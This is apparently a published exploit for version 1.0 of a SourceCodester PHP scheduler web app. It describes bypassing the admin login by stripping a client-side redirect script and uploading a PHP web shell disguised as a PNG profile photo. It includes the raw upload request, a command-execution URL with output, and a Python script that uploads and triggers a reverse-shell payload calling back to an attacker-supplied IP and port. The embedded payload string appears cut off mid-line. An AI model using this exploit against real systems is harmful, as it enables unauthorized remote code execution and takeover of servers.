# Date: 2021-07-07
# Exploit Author: faisalfs10x
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scheduler.zip
# Version: 1.0
# Tested on: Windows 10, XAMPP
"""
################
# Description #
################
1. The admin panel UI login can be assessed at
http://{ip}/scheduler/admin/login.php. Due to the client-side input
validation implemented within scripts, it is possible to bypass and
access the admin panel UI by making request to
"http://localhost/scheduler/admin/?page=user" and removing the
javascript tag
'<script>location.href="http://localhost/scheduler/admin/login.php"</script>'
in the server response body.
For making the process easier, we can use burp "Match and Replace"
option to automatically replace the javascript tag parts of
responses body passing through the proxy.
2. The admin panel has an upload function of profile photo
accessible at http://localhost/scheduler/admin/?page=user. An
attacker could upload a malicious file such as shell.php with the
Content-Type: image/png. Then, the attacker have to visit the
uploaded profile photo to access the shell.
#####################
# PoC for webshell #
#####################
Request:
========
POST /scheduler/classes/Users.php?f=save HTTP/1.1
Host: localhost
Content-Length: 721
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114
Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryYrg9YZykFY2bmNqY
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/scheduler/admin/?page=user
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=a5d66tonur7vir28rtoc049127
Connection: close
------WebKitFormBoundaryYrg9YZykFY2bmNqY
Content-Disposition: form-data; name="id"
1
------WebKitFormBoundaryYrg9YZykFY2bmNqY
Content-Disposition: form-data; name="firstname"
Adminstrator
------WebKitFormBoundaryYrg9YZykFY2bmNqY
Content-Disposition: form-data; name="lastname"
Admin
------WebKitFormBoundaryYrg9YZykFY2bmNqY
Content-Disposition: form-data; name="username"
admin
------WebKitFormBoundaryYrg9YZykFY2bmNqY
Content-Disposition: form-data; name="password"
------WebKitFormBoundaryYrg9YZykFY2bmNqY
Content-Disposition: form-data; name="img"; filename="rev.php"
Content-Type: image/png
<?php echo "output: ";system($_GET['rev']); ?> # shell
content here
------WebKitFormBoundaryYrg9YZykFY2bmNqY--
####################
# Webshell access: #
####################
# Webshell access via:
PoC:
http://localhost/scheduler/uploads/{random_number}_rev.php?rev=whoami
# Output:
output: windows10/user
"""
##################################################
# Reverse shell exploit code for windows target: #
##################################################
#!/usr/bin/python
import requests
import sys
import string
import random
import urllib.request
from requests_html import HTMLSession
if len(sys.argv) < 4:
print('\033[1;32;40m [+] Usage: python3 '+sys.argv[0]+'
<target_ip> <attacker_ip> <attacker_port>')
exit()
RHOST = sys.argv[1]
RPORT = '80'
LHOST = sys.argv[2]
LPORT = sys.argv[3]
if not RHOST.startswith('http://') and not
RHOST.startswith('https://'):
RHOST = "http://" + RHOST
# if not RHOST.endswith('/'):
# RHOST = RHOST + "/"
# RHOST = '127.0.0.1'
# RPORT = '80'
# LHOST = '192.168.8.117'
# LPORT = '4444'
shellpath = f"{RHOST}:{RPORT}/scheduler/uploads/" # shell will be uploaded here
let = string.ascii_lowercase
shellfilename = ''.join(random.choice(let) for i in
range(5))+".php" # or just static shellfilename = 'rev.php'
req_url = f"{RHOST}:{RPORT}/scheduler/classes/Users.php?f=save" # endpoint for uploading shell
req_headers = {"sec-ch-ua": "\"Chromium\";v=\"91\", \" Not;A
Brand\";v=\"99\"",
"Accept": "*/*",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114
Safari/537.36",
"Content-Type": "multipart/form-data;
boundary=----WebKitFormBoundaryYrg9YZykFY2bmNqY",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"}
req_data = "------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n1\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\nAdminstrator\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\nAdmin\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\nadmin\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundaryYrg9YZykFY2bmNqY\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+shellfilename+"\"\r\nContent-Type: image/png\r\n\r\n<?php\r\n\r\nheader('Content-type: text/plain');\r\n$ip = \""+LHOST+"\"; \r\n$port = \""+LPORT+"\"; \r\n$payload = \"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
print("\033[1;33;40m Uploading shell...")
out = requests.post(req_url, headers=req_headers, data=req_data,
verify=False)
print("\033[1;31;40m Uploaded shell will be available at
"+shellpath+"")
print(" Enjoy!")
# finding the uploaded shell
session = HTMLSession()
r = session.get(shellpath)
sel = 'a[href*="'+shellfilename+'"]'
find_shellfilename = r.html.find(sel)
# popping up the shell :p
for shellname in find_shellfilename:
try:
url = shellname.absolute_links.pop()
print("\033[1;33;40m Shell is available at "+url+"")
response = urllib.request.urlopen(url)
print(" Byeee!")
except KeyboardInterrupt:
exit('User aborted!')

